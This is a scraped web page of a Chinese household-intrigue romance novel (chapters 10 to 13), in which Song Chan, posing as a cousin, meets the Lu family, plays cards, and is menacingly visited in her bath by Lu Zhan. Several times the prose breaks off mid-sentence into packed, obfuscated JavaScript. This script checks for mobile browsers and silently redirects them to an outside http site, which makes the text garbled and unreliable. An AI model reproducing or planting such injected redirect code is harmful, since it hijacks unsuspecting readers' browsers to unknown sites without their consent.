l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769306|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人足走了一刻钟，才将来到老夫人的正厅。 老夫人尚在洗漱，家中几个姊妹已站在厅中。 “纪妹妹，我们几个听闻你来了，特地来看看。” 首先出声相迎的是国公府的大小姐陆蘅，与大公子一母同胞，为人素来端方守礼，颇有高门长姐风范。 一位娇俏明艳的小娘子从她身后走出来，正是二房所出的陆泠。 从宋蝉进屋开始，陆泠便早将她打量了一番。 模样倒是清丽，但身上穿的早已是京中过时的料子，显然是穷酸破落户出身。 她本不愿与之多话，可她素来与陆蘅爱争风，陆蘅都先开口示好了，她哪有置之不理的道理？她可不想被新来的纪家丫头被大姐姐拉拢了去，没得碍了自己的眼。 于是笑问：“纪妹妹身上用的哪家的香？闻着倒是特别呢。” 宋蝉不敢过于冒尖，只谦虚回话：“是我闲时自己随便做着玩的，不值几个钱的。姐姐们若不嫌弃，之后我也为姐姐们做些。” 宋蝉话中滴水不漏，早在入府前就听紫英说起这两位小姐之间的“往事”，她自然不愿意刚进公府，便被搅入这趟浑水中。 陆泠也不是真的想要，不过随口问问，见宋蝉这么说，也只是假意承情：“那自然最好了，我先谢过纪妹妹。” 宋蝉的目光却落在另一名始终未曾开口说话、身量尚小的娘子身上。 想必这就是三房所出的陆芙了。 三房素不受宠，陆芙性子也软，上面又有两名姐姐压着，日子定是艰难。 这倒与她现下的境地相似，宋蝉心中想着若有机会，陆芙倒是可以深交。 “是纪姑娘吧？” 四人正交谈着，里屋传出来陆老夫人的声音。没多会，便见三五名丫鬟簇拥着一位衣着华贵、气质雍容的老妇人走出来。 陆老夫人坐稳后，便向宋蝉招招手。 “快坐过来，让我细看看。” 老夫人握着宋蝉的手，细细打量了一番，眉目慈祥地关切道：“一路过来累着了吧？” 宋蝉早习惯了一人生活，自幼没有长辈照拂，如今有个老太太这样握着她的手给她关怀和体贴，心中不由有些触动，却又生出了些莫名的内疚。 她摇摇头：“托您的福，得公府的人一路贴心照护，阿婵并不算累。” 老夫人见宋蝉言辞妥帖，又从她眉眼间窥见几分故友的模样，不由得思及往事，愁上心头。 “你这孩子生得漂亮，可惜命竟这样苦……” 老夫人不禁感慨着之前的姐妹情谊，宋蝉听着别人的故事，虽无甚实感，却也老实按照紫英先前教的，一一叙述了家中的事情，与老夫人说了家常，又同众姊妹用了午膳。 末了，老夫人吩咐几名小姐：“你们纪妹妹身世可怜，之后同在府中吃住学习，你们要多照应她一些，明白吗？” 几个姑娘纷纷应是。 老夫人年纪大了，身子也一般，到了要服药的时候，最后老太太带一句，先安置好了，待晚些时候再往前厅去见其他兄弟，一同用膳。 宋蝉便随着几名姑娘一同往厢房去了。 走在路上，正好看到另几个小厮正往东厢房方向搬运许多箱子行李。 宋蝉有些好奇，便随口问道：“府中近日还有新客吗？” 陆泠抢先一步回答：“并非是什么新客，只是三哥哥要回来住了。” “也不知道怎么地，之前三哥哥都住在外面，最近竟是回来得勤了……” 旁人或许不知其中缘由，宋蝉却是再清楚不过的。 无非是要日日夜夜地盯着她的行踪罢了。 宋蝉正走神想着事，便听身旁的陆泠又说：“等晚上用膳的时候，你便能见到大哥哥和三哥哥了。” 11. 第 11 章 陆国公府的公子住东侧，小娘子们则都安置在西厢房共住。 其中靠南的两间光照最好，陆蘅陆泠已分别在里头住着。 北边一间是陆芙的屋子，宋蝉则搬进了陆芙隔壁的空屋。 屋里早有仆妇提前打理过，处处透着明亮整洁，床榻桌几摆设无不精致细腻，就连门帘换上了花卉禽鸟绣纹的锦缎帘，临窗的妆台上更是早备好了胭脂水粉。 这院子足比宋蝉当时在花月楼的小屋大了几倍不止，回想起曾经的日子，她那样努力地制香攒钱，就是为了能和吕蔚搬进这样的好房子。 只是如今真的住进来了，却觉得心里空落落的。 从前的日子虽苦，至少每日都有奔头。如今故人不在，她也冒用着别人的身份姓名住在这里，总觉得不安稳。 这屋里处处彰显着高贵的一切，似乎哪一日便会有人将它们夺走，她又会被打回那个充满黑暗的泥泞地中。 陆湛跟她说，让她顶替纪家小姐的身份搬进来国公府，留在他的身边，方便日后完成任务，可直到现在她也不明白自己究竟要做什么。 不过很快便由不得她胡思乱想。 距开宴还剩一个时辰，紫芙指挥着小厮将一箱子抬进了屋子里，笑盈盈地问：“老夫人特地差人送了几身衣裳来，娘子瞧瞧今晚要穿哪件？” 苏罗和桃松将箱子里的衣服拿出来一一摆好，看着这些衣裳，宋蝉犯了难。 “纪婵”家中贫困，没有什么像样的衣服，好在有陆老太太送来的衣服和钗环脂粉，尚能救急撑个场面。 今日恰好是十五，每月这日，陆国公府都要开家宴。 听说晚上的家宴不仅几位公子在，还有陆国公与二房三房两位姨娘，与其他叔伯及夫人。 所谓先敬罗衫后敬人，国公府里更是如此。 宋蝉思忖片刻，拿定了主意。 “毕竟第一次正经露脸，衣服妆容既不能太素净，也不能太俏艳拔尖，不如就这件吧。” 宋蝉选了其中一件样式不显华贵，但剪裁贴身合宜的浅粉裙衫。乍一看虽不打眼，但胜在将身量衬托得窈窕有致，行走间便若彩云轻拂，格外婉约。 苏罗为她绘上与之相配的妆容，更显出清丽脱俗的风姿。 桃松不由得感慨：“今日娘子真是应了那句“清水芙蓉”了！” 夕阳余晖渐隐，天色深如墨。 国公府的廊檐下循次换上了葫芦形四角花鸟宫灯，将府内照得一片明亮吉祥。 男宾们尚有公务在身，还未到来。而其他几名小娘子，因今夜的家宴，特地被免了一日私塾课业，也早早在屋里了起来。 宋蝉初来乍到，这样的家宴自然不能叫旁人等她，于是早早就提前出了门。 走到正厅门外，宋蝉听得里头传来马吊牌搓碰的声音，隐约还有几位姨娘夫人的调笑声。 “说来也是怪了，自从老三前段时间搬出去，不是差人请了几次都没声吗？怎么现下倒肯松了嘴？” “正是说呢，听说上次老三和公爷不知因什么事吵了起来，还挨了公爷一顿鞭子，老大拦了都没拦得下。哎，你整日陪着公爷，没问出来是什么缘故？” “瞧你这话，阖府上下谁敢在公爷面前提老三的事？快别说了，待会老太太要来了，可别在她面前说漏了嘴。” 宋蝉站在门外，将几人的对谈都听在了耳朵里。只是这时候进去倒不适合了，便先走到回廊上等着其他几位姑娘到来。 不消会儿，陆蘅先到了，见宋蝉站在风里，不免问道：“纪妹妹怎么不进去？” 宋蝉只笑了笑：“人还认不全，独自进去不免有些局促，还要请蘅姐姐带我进去认认人。” 这话倒是不假，陆蘅未有疑心，便带着宋蝉一起进到正厅。 “蘅丫头来了。”说话的妇人正对着门坐，见二人进来，先出声道，“这位便是纪姑娘吧？真是生的好容貌。” “这位是赵小娘。” 宋蝉看向那位妆容精致、鬓戴金钗的紫衣妇人，原来这就是陆泠的母亲，二房的赵氏。 入府前便听紫芙说，自从早些年陆国公的续弦夫人去了，就再没有扶正妻，如今国公府中馈由二房赵氏执掌，为人精明会来事，如今看其穿着气度竟比其他的正夫人还要华贵几分，果然传闻不假。 陆蘅又带着宋蝉分别认了三房的孙小娘、与其他两位叔伯家的婶婶，宋蝉一一见过。 几人说笑间，赵氏便在一旁不动声色地打量着宋蝉。 早前便听闻老太太有意将这丫头接回府里，起初她也没当回事儿。 不过是个从穷乡僻壤来的丫头片子，能掀出什么风浪？从她嫁进公府开始，便亲眼看着这样的远房亲戚跟走马灯似的，时不时就冒出来几个，都瞧上了国公府这棵参天大树。 她整日打理公府事务，最知道这些人家的心思。不就是想着借国公府的声名，在这深宅大院里安稳住上几年，往后出去说亲，也能镀上一层金，寻个富贵人家，把自己后半辈子安置妥帖了。 只是今日当她第一眼瞧见这位纪姑娘时，心头却没来由地颤了颤。 竟没想到这丫头生得这般标志动人，言行举止又透着一股灵秀之气，年岁还恰好与府里的几位公子相仿。 旁人她尚且不在意，可想到自己膝下的老四，她就忍不住揪心。 这些年世子之位犹未定下，她有意让老四也参与其中，只恨她娘家无力，便一心盼着老四往后说个母家得力的妻子。 可眼下这无依无靠的表姑娘进了府，日日相处下来，老四万一被这小丫头勾了魂去，那可如何是好？ 想到这儿，赵氏的脸色微微一变，原本漫不经心的眼神里瞬间多了几分警惕与戒备，叫来了丫鬟耳语了几句。 看着丫鬟匆匆出了门，往四郎屋的方向去了，赵氏又换上了那标志的笑容，亲昵地挽过宋蝉的胳膊。 “婵儿，你可会打马吊牌？” 赵氏先改了称呼，无形中拉近了距离，也免得让宋蝉感到内外有别。 宋蝉垂眸谦虚道：“只是先时在家中陪祖母玩过几次，牌技不精，恐扰了长辈们的兴致。” 其实她是最擅长打马吊牌的，从前同花月楼的小姐妹一起玩，总是能赢不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769307|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱。 刚才看到桌上的马吊牌，她也难免也有点手痒，只是今日的牌局，她并不想参与其中。 这牌桌上的人都是国公府有身份头脸的人物，几局马吊牌看似玩乐，实则输赢之间俱是人情往来，更是她之后在府中能否安稳度日的根基，这样的牌局最是没趣。 赵小娘倒是满不在乎：“自家人之间讲究什么？不过图个开心。我们家老太太最爱玩这个，正巧我也打累了，待会等老太太来了，你来换我的位置，陪老太太玩几回。” 赵小娘的手已压上她的肩膀，宋蝉也不好再推脱，只能硬着头皮上场了。 几人正说着话，其他两位姑娘与陆老夫人也来了，家宴尚未开始，厅内已是一片热闹景象。 陆老夫人见宋蝉也坐在牌桌上，打趣道：“婵丫头也会玩牌？今日可别让着我这老太婆，且让我瞧瞧你的本事。” 宋蝉亦勾起笑，不卑不亢：“您说笑了，我打得不好，您别嫌弃我败兴就好。” 一场新的牌局开始，宋蝉挺直脊背坐在一众贵妇中间，面上云淡风轻，实则心弦紧绷。 宋蝉抬眼扫过指间的八张牌，将牌面记在心中，暗暗思忖起来。 她不经意地出着牌，实则留意着面前三人的神色，瞧着左手边那位妆容精致的二婶婶皱了眉，便知她今日手气欠佳，恐怕先前与赵氏玩的时候已输了几轮。 于是心中有了计较，恰好手中的“索子门”能把二婶子的牌凑成顺子，于是不动声色地将牌顺了出去。 果不其然，二婶婶见了牌喜不自胜，面上愁云尽散。当然，最重要的是记好老夫人手中的牌。另外往后若想与陆芙深交，三房孙小娘也不能得罪，宋蝉也都在心中留意了。 须知这马吊牌若轻易赢了，便也没了意思。于是牌局渐入佳境，宋蝉出牌也更加谨慎，手中握着关键牌却迟迟不发，拿捏棋局节奏，时不时做出凝眉思考的样子，偶尔为错失良机而微微叹气。 便这样一场场演下来，众人只觉她是个全心投入、初涉牌局的小娘子，全然看不出背后勉力布置的缜密心思。 几位长辈都被宋蝉雨露均沾地送了手气，各个喜上眉梢。 唯独宋蝉的后背已然被薄汗浸透了。 好在快到开膳到时辰，这已是最后一局了。 宋蝉终于能松口气，如释重负地放下手中剩余的的牌，忽听到门廊上传来小厮的通报声： “大公子来了——” 宋蝉心中一惊，忙跟着几个姑娘起身，向门外看去。 不多时，便见人群后，一名眉目如玉、气质清雅的贵公子向他们走来，行动间衣袂轻拂，恰似山间萦绕的云雾，举手投足尽显风致。 “还是老太太心疼你们，特叫我绕到东城买了这家芙蓉酥带过来。” 他渐渐走近了，唇边带着若有似无的温润浅笑，语调平和稳重。 只是当看见宋蝉的时候，忽然愣在了原地，眼中温和的笑意瞬间被刹那的惊愕填满。 其余几位陆家小娘子显然也看出了长兄的反常，纷纷笑着打趣起来。 “大哥在看什么呢？” 12. 第 12 章 厅内众人撺掇调笑着，一时屋内热闹非凡，无人留意到门帘后隐约透出一道身影。 将才陆沣前脚刚到，陆湛紧随其后便也来了。 只是他却没急着上前与众人打招呼，而是站在帘后静静观察着屋内景象。 陆沣看向宋蝉时的片刻失神，尽被他收入眼底。 果真如此。 果真陆沣也觉得宋蝉像极了她，才会在众人面前如此失态。 果真哪怕高韫仪已嫁做人妇，成了通政使夫人，陆沣仍然对她旧情未了，不能忘怀。 陆湛心中升腾起难以言说的快意感受，他继续隔岸观火，看着这场好戏上演。 被陆沣盯着瞧，其他姐妹又在一旁拱火说笑，宋蝉感到脸上一阵燥热，不由得垂下玉颈，看着自己鞋面上鹊踏枝的绣花纹样。 原来这就是国公府那个温润如玉、待人和善的大公子，陆沣。 早上从老太太房中去厢房的路上，宋蝉便从陆泠口中听说了这位大哥。 她说他从小便文采斐然，是国公爷最为疼爱的长子，陆沣为人清正，如今在朝任左佥都御史一职，负责检察百官言行。 哪怕是陆泠那样眼高于顶的人，提起陆沣都多是赞美，甚至会说“只可惜不是自己的亲哥哥”，便可见此人品性极佳。 今日一瞧，果真是清风朗月的存在。 陆沣也察觉到自己的失态，很快回过神来，又变回清风朗月的模样。 赵小娘将热闹看在眼里，先上前一步笑道：“这位是纪姑娘，今日才到府上。” 陆沣微微颔首，笑容如三月春水和煦：“正巧我带了东街的芙蓉酥来，蘅儿她们最爱吃这家，表妹也一起尝尝。” 宋蝉福身一礼，细声道：“多谢大表哥。” 陆家老夫人不能食甜，与陆沣聊了几句，便由赵小娘先扶去侧厅更衣了。 陆家几名小娘子也纷纷上前取食芙蓉酥，宋蝉也分到了一粒。 芙蓉酥静卧盘中，层层叠叠的酥皮，恰似芙蓉舒展的花瓣，仿佛一阵风吹来便会摇曳生姿，技法当真是细腻而又逼真。 连这一枚普通的糕点都如此精妙绝伦，不愧出自京城这繁华之地，处处彰显着极致的精美。 众人忙着品鉴芙蓉酥的味道，唯独陆蘅细心：“大哥今日是为这芙蓉酥特地跑去的东城吗？” 国公府位于西城，与东城这家点心铺子相距甚远，寻常马车来回足要两个时辰。 陆沣为几位妹妹亲手倒了热茶：“你忘了，今天是施粥的日子。” 陆蘅既是真心称赞，也是要刻意将亲哥哥的善举再说一遍说给众人听。 “瞧我糊涂了，竟忘了大哥每月初一十五都要在东城亲自为百姓施粥的。” 每到施粥之日，陆沣从选米、淘洗到煮粥、分粥，皆亲力亲为。 善举如春日暖阳，在百姓间广为流传，在这京城之中，无人不晓，无人不赞。 宋蝉也不由得佩服起这位国公府的大公子，出身高门，衣食无忧，竟还能心系百姓，体察民生之苦。 “大哥善心真是要感动上天，隔三差五去施粥，想来东街的鸟也要被你喂的飞不动了。” 一道不合时宜又饱含戏谑的调侃，打破了众人对陆沣施粥行举的赞美之声。 众人纷纷转头看去，却见陆湛掀帘而进。他身穿一袭青古色云纹直身长袍，脚踏黑色云头履，剑眉如刃，双眸如星，棱角分明的俊脸上，浮现出嘲讽笑意。 他神情慵懒地阔步迈入厅内，步伐潇洒肆意，却让原本热闹的厅堂瞬间陷入沉默。 陆沣脸色变了变，但只是片刻，便又恢复寻常。 “许久不见，三弟说话还是这样有趣。” 他侧身让出宋蝉的位置，向陆湛介绍着：“三弟，这位是纪姑娘。” 宋蝉低垂着头，眼角的余光看见陆湛的身影越来越近，一颗心像被一只无形的手紧紧揪住。 她微微垂着眼睑，看见那双云头履在她身前停下，长睫轻颤若蝶翼，却一时不敢抬眼望他。 深呼了口气，她在心中暗念，此时不能乱了阵脚，在众人面前露了馅。 她是纪婵，这是第一次与国公府的三郎君相见而已，本就不该有什么的特别的表现。 稍稍定了定神，如刚才对陆沣那般福身行礼，声音轻柔得如同春日微风中飘落的桃花，低低地唤了一句：“三表哥。” 然而，回应她的只有一片令人心慌的寂静。 陆湛依旧站在她对面，手中随意把玩着一枚温润的玉坠子，有一搭没一搭地敲着，那清脆的撞击声在这安静的厅内格外刺耳，每一下都如重锤敲在宋蝉心头。 虽未抬头，宋蝉却能感觉陆湛的目光像一把锐利无比的刀子，直直地向她刺来。 这目光仿佛带着颇具玩味的审视，又裹挟着千年玄冰的冷意，轻易地剖开了她今日精心挑选的外裳，一寸一寸地审视着她的每一寸肌肤，每一个细微的表情。 恰似那晚，她站在他的房内，四周静谧得只能听见彼此的呼吸声，他也是这样毫不留情地将她看了个通透，洞悉着她的每一下颤抖与不安。 宋蝉只觉得心跳愈发急促，脸颊也因紧张与羞涩而泛起一片红晕，双手不自觉地攥紧了衣角。 她又抬高了声音，再次唤道：“三表哥。” 陆沣也微微蹙起了眉头：“三弟，莫要失了礼数。” 这次陆湛终于开口，只是嘴角噙着一抹似有若无的笑意，慢悠悠地说道：“我瞧这位纪表妹，倒好像有些眼熟。” 陆泠笑道：“三哥哥又在玩笑了，婵妹妹先前都在台州老家，今日才第一次来京城，三哥哥怎么会面熟呢？” 陆湛低低哦了一声：“二妹妹说的是，许是最近审的女犯多了，我记错了。” 多事之秋，沈知培的案子才过去不久，陆湛这话好似是有意地敲打提醒着谁。 许是对陆沣，也或许是对宋蝉。 宋蝉早已然惊出了一身冷汗。 她知道陆湛是个疯的，却怎么也没想到在今日这样的场合，他还能刻意说出这样的话，竟不怕惹得别人怀疑吗？ 两个人见过面以后，陆沣宽慰宋蝉：“你不必怕他，三弟他就是如此行事，日后习惯便知他并无坏心。” 陆湛轻描淡写道：“大哥这话说的是，人心难测，未必看着良善的就是好人。” 几个陆家小妹妹并未觉得这话有什么特殊，只拉着宋蝉说往正厅走了。 唯独陆沣与陆湛留在身后，厅内无人，陆沣的面色终于沉了下来。 “三弟，你如今也在朝为官了，圣上面前说话也如此霸道吗？” 陆湛轻笑一声，看似随意地抚了抚衣袖，并未搭理陆沣的话，抛下他一人向膳堂去了。 陆国公因事姗姗来迟，好在赶上了开膳的时间。 众人围桌齐坐，陆家老夫人环视了一圈，却发现未见四郎身影，便开口问道：“老四今日怎么没见着人？平日里总是爱凑在一处热闹，今日这是怎么了？” 一旁的赵小娘赶忙起身回答道：“老太太，老四从今儿早上起来，便觉得身上不舒服，喊着头疼脑热的，整个人没精打采。到下午才找了方大夫看过，开了药服下了。他怕自己身上带着病气，传给兄弟们，所以就让他先不过来了。” 老太太微微皱眉，脸上满是担忧之色：“好端端地怎么病了？这孩子平日里身子骨虽算不上强壮，但也没这般容易生病呀。” 赵小娘轻轻叹了口气，满脸写着心疼：“这孩子是个实心眼，眼看着就要考学了，他一心想考个好成绩，为公爷面上争光，这几日常常在书房里点灯苦读，熬到深夜。许是这般劳累，身体才吃不消了。” 席间又响起陆湛的轻笑。 “我听闻四弟上次书塾考试又是倒数，还因舞弊挨了夫子的板子。依我看，四弟读书既无天赋，不如去行伍历练历练，起码能强健身体， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆国公听了宋蝉的身世，不免感慨怜惜，又作了几首新词，引得众人附和称赞。 饭吃了一半，老夫人觉得身体疲乏，便先由侍女搀扶着回屋歇息了。 赵小娘因刚才席间被陆湛下了面子，心中始终忿忿，于是谋算着该如何出这口气。 待挑了个合适的时机，她向陆国公碗中夹了一筷子烧鹿筋，趁机说道：“前阵子珐华寺的姑子托人来送信，问今年年根的法会还要不要办，如今府中的人口渐渐多起来，我想着府里银钱虽不至于吃紧，但总归开春了要置办些衣物用品，开销要大一些，且今年不是什么整数的大年头，今日正巧三郎也回来了，我寻摸让公爷您拿个意思。” 宋蝉听见这话，也不免留意了些，不知是什么法会，竟还与陆湛相关？ 再借饮汤的机会，她悄悄抬眼望向陆湛。 陆湛语气沉冷，只一味夹取着菜：“你若是心疼钱财，这块往后便不必从府里出，我如今领着俸禄，自己添补便是。” 赵小娘继续笑说：“三郎到底年纪还轻，这话叫旁人听了去还以为咱们陆家在这上面克扣，不重人情。” “只是头开春咱家便捐了香火重修珐华寺，这不是想着…” 先是陆国公看陆湛有几分自视甚高的样子已然不悦，赵小娘说的又合乎情理。 新客在席，当着一桌人的面岂容小辈下了脸面，即便其中有隐情亏疚，不待人说完话便开口：“如今银钱你管着，无需跟孩子们打商议，阖府上下银钱有定量，总不能只干这一件事。” 饭吃到这里，已然意兴阑珊了，陆沣见状又提杯敬了圈酒，说了几句祝词，众人便散了。 夜风清凉，宋蝉本想与陆芙一起回屋，正好能多说几句话亲近。 却不想她刚迈出正厅的门，便被陆泠先喊住了要与她同行回去。 陆泠有赵小娘撑腰，性子是三姐妹里最为骄纵的，也一向直言直语。她挽着宋蝉的胳膊，先象征性地问了几句宋蝉家乡的风土人情，便讲话头一转，聊到了将才的晚宴。 “这顿饭吃得好没意思，我最爱的那道龙井虾仁还没动几筷子，便这样散了。” 宋蝉原本也有满腹疑虑，见陆泠有意讨论席间的事情，便顺势问道：“刚才席间说到的法会是什么意思？我见三哥哥提起这事似乎有些不悦呢。” 13. 第 13 章 陆泠原本有些犹豫，但看见月色下宋蝉那双满含诚意的剪水眸子，倒不好意思拒绝了。 原本陆泠便热络于这些府中密辛，先时只觉得无人聊闲，甚觉苦闷，眼下来了个表妹，自然有些主人家指点的意思。 找了处月色未及的地方，她将宋蝉拉到一边假山石后：“此事我原是不该与你提及的，可心里一直当你是自家姐妹，这才忍不住同你多说两句。” 陆泠拢了拢耳边碎发，煞有介事开口：“你且细想想，咱们这府里头，大郎君、三郎君、四郎君都在，怎唯独寻不见二郎君的踪影？” 陆泠言罢，又端起架势顿了顿话锋，有意引着宋蝉发问。 陆泠这话，也是宋蝉心中想问的。刚才在席间，四郎君因病未来，都引得老太太一番盘问，而直到散宴都未见到二郎君的身影，可大家都好似习以为常，没有一人问询，实在是不该。 宋蝉吃准了陆泠的意思，心里隐约有个猜测，于是顺水推舟道：“我只以为二哥哥在外游历，听泠姐姐的话，难道另有隐情？” “这就是公府的旧事了……” 陆泠又清了清嗓子，仿若亲历般低声同她说起这桩旧闻。 “先时呀，咱们国公府只有一位正夫人，也就是是大哥大姐的娘亲。后来呢，爹爹又新娶了一位侧夫人何氏，入府没多久便有了身孕。” 陆泠学着寻常人家娘子般喟叹：“只是不巧，恰逢上了京城时疫，正夫人染上了。” “爹爹权衡考虑，与侧夫人一同搬到了京郊的别院短住，留下正夫人在府中养病操持。谁成想侧夫人临盆在即，正夫人却不幸病逝了……” “那句话是如何说的？祸兮福所倚，福兮祸所伏。”陆泠眨了眨眼。 “怎么？你还没听懂呢？这何氏便是三哥哥的生母。” 宋蝉听后不禁惋惜，却又发现这故事里似乎还是少了二郎君。 “那二哥哥……” 陆泠发现宋蝉并未出现预想中的惊讶神情，顿觉无趣，于是留着话勾子说。 “不过你这事也算问对人了，你若去问旁的姐妹，可没有我对你这般掏心窝子的。”陆泠虚虚打了个哈欠，“只是我今日有些乏了，还是改日再说吧，哦对了，我爱吃西城绍记的玫瑰酪，下次咱俩吃着聊……” 陆泠话末不忘缀些私心。 话说到最后，陆泠又看了看四周，确定四下无人后，才继续说道。 “总之啊，我再劝你一句。三哥哥模样虽好，又是当朝新宠，京中确是有不少小娘子想要与他亲近，但我劝你可千万别动这个心思，三哥哥可不是你能轻易招惹的……” 陆泠这番话虽是真心，但不免透出些瞧不起的意思。 宋蝉也算是看出来了，她如今愿意与宋蝉多说几句，是因为看宋蝉虽有几分姿色，但到底家世旁落，正适合笼络了关系，日后与京中贵女交际带出去也有面子，可以帮着她说话。 宋蝉也听出来了，但并不在意。高门小姐原先就是这样的，哪怕再客气，也只是出于家教，哪里会真心把她当作自己人呢？她不在意陆泠内心到底是怎么想的，只要表面上不要为难她就够了。 回屋的路上，宋蝉也不免有些感慨。 国公府这种大家族外面风光无限，内里却如此错综复杂。 她何尝不知陆湛的性格脾性？她躲都来不及，又哪里会想要主动招惹？ 只可惜，初来乍到国公府，还没立住脚跟，厘清利害关系，眼下陆湛是她唯一的依靠，或者说她和陆湛是同一条船上的人，她不仅不能避开陆湛，恐怕还要多在陆湛身上费心讨好。 只是这些事是没有办法同旁人讲的，宋蝉也只能在心里独自计量着。 盥房里桃松已提前烧好了热水，留着宋蝉洗沐。 宋蝉站在屏风后，由苏罗帮忙将身上繁琐的首饰衣物褪下，看着桌上的一枚金钗，她突然想起了什么，转头问紫芙：“公府的姑娘们的每月月例有多少，都是什么时候发放？” 紫芙道：“今日刚去问了府里管事，咱们十五才进府，这月各房的月例早在初五就发完了。如今咱们房里的物资开销是从老太太那里划的，等下个月初五，便能去领二两月银了。” 宋蝉轻轻应了一声，紫芙又道：“娘子是急着要钱用吗？入府前，大人吩咐过奴婢，娘子若短缺什么，大可以同老太太说一声，倘若是从明账上不便购买的，只跟逐川说一声便是。” “没什么，只是想清楚些，心里好有个数。” 繁复的外裳终于去了，泡进温热的浴汤中，才感到紧绷了一晚的身子顿时松懈了下来。 今日一天都在与公府的大小人物打交道，步步警惕，句句留心，生怕行差踏错，教人抓住把柄。 好在凭借往日花月楼里积攒下的人情经验，尚能将这些场合应付过去，只是这才是刚开始便这么紧张，往后的日子还不知道要多少考验艰难要过呢，她不免为自己捏了把冷汗。 也只有到了现在，神思才终于能放松一点，不必提心吊胆留意每个人的脸色，也才能空下来想想自己的事。 如今她以纪婵的身份进了国公府，无异于重新活一次，必要为自己打算起来。 虽说有陆湛暗中相护，不至于出什么大的岔子，可他毕竟不能为他打点一切，每日同后院女眷打交道，都是切实要看她自己的本事的。 尚不知要在这公府过多久，也不知陆湛究竟想让她做什么。可宋蝉向来不会敷衍自己的人生，既然在这一天，就要过好一天。 每个月二两的月例的确不少，几乎是普通百姓全家一个月的收入。只是身在国公府，吃穿用度不能和往日相提并论。 从前她可以不计较服饰打扮，如今总得上些台面，再加上人际打点免不了要花钱，这样算下来，二两银子着实紧巴了些，免不了还要自己贴补呢。 听紫芙说，纪婵的祖母离世前，给纪婵留了一笔傍身钱，这钱虽不多，却扎实够一些用处，只是这笔钱不知现在谁的手里掌着…… 宋蝉盘算着改日得想些由头，再找陆湛要些体己钱，也好为来日做准备。 就这么想着事，也不知过了多久，浴斛里水有些发凉了。 宋蝉不习惯几个人伺候洗浴，往日都是由桃松在旁的。说起来……桃松说去提水有一会了，怎么还没回来。 宋蝉又连着喊了几声“桃松”，皆无人回应。 于是扶着浴斛边沿，转过身来寻她，哪成想竟在朦胧水汽间，望见了一双熟悉的云头靴。 宋蝉惊叫出声，旋即被一只滚烫的手掌覆住面庞。 当真是见鬼了！已至深夜，他怎会出现在她的房中？ 尤其还是——浴房。 宋蝉惊魂未定，心跳剧烈，露出水面的雪脯紧促起伏，周遭涟漪荡漾，尤似秦淮河畔旖旎的春波，引人无限遐想。 那抹刺目的雪白恰落进陆湛眼底，他的眸色深了深。 覆在宋蝉唇瓣上的手渐渐松开，随之响起陆湛松懒的声音。 “再叫的大声些，便能将旁边住着的几个妹妹都引过来了。” 宋蝉终于回过神来，一时又羞又恼，下意识便扬起手来。 可那记耳光还没落下，她便看见陆湛那双漫不经心、却暗藏杀机的眼。 哪怕是隔着层水雾，他眼底令人畏惧的寒光都那样明显深刻。 宋蝉收回了悬在半空的手。 “大人……” 她强压着哽咽，努力让自己的声音显得平常。 “大人为何会在此处。” 陆湛未答，他本也不需要向宋蝉交代什么。 只是伸手在水面上虚虚一划，问：“水有些凉了。” 陆湛的手落在宋蝉的左肩上，虽未用力，却携不容抗拒的力量。 “转过去。” 掌下小巧而莹润的肩头如蝶翼般颤了颤。 而后顺从乖巧地照做了。 陆湛竟俯身从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779364|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浴斛旁的木桶内舀起一勺浴汤。 雾气氤氲的盥室悄然无声，唯有水流自陆湛手中的木勺泻下，顺着宋蝉的肩头流下，汇入浴汤之间，发出清泠响声。 混了草药汁的褐色浴汤下，宋蝉攥紧了手。 “大人贤身贵体，不敢劳烦大人服侍我洗浴，还是叫桃松进来吧。” 陆湛并未搭理，只拢起宋蝉散落在肩的柔软墨发，将之逐渐浸湿。 “你今夜的马吊牌打得不错。” 宋蝉一怔。 今夜牌局开场时陆湛根本不在，屋里除了女眷便只有几个仆妇，就连紫芙苏罗她们都是在外厅侯着。 陆湛却连这件小事都了然，难道那些仆妇里都有他的眼线？ 宋蝉不敢有隐瞒：“不过是长辈让我玩两把，只是我牌艺不精，赢不了，只能陪长辈逗个乐罢了。” “有时候看似赢了牌局的人，反是输家；而有的人看似输得彻底，却是真正拿捏牌局的胜者，你说对吗？” 陆湛将发膏挑在掌心，缓缓化开，桂花的香气渐渐晕开在水雾中。 他慢条斯理地将发膏涂抹在她的乌发上，动作轻缓，极尽从容。 宋蝉却觉得发上沾染的并非是发膏，而是混了香气的鸩毒。 “你觉得他怎么样？”陆湛没由来地忽然一问。 她？今日席面上那么多人，宋蝉一时分不清陆湛想说的是谁，也拿不清他的意思。 “府里的人都挺好的，原以为府中几位小姐皆出身富贵，定是骄纵难相处之人。没想到相处下来，才发觉几位小姐性情温良，和善可亲。” “性情温良、和善可亲。”陆湛将这几个字低低念了一遍，笑了，“但愿过些日子，你还能这样觉得。” 发膏渐渐在宋蝉的发间化开，香味越来越浓了。 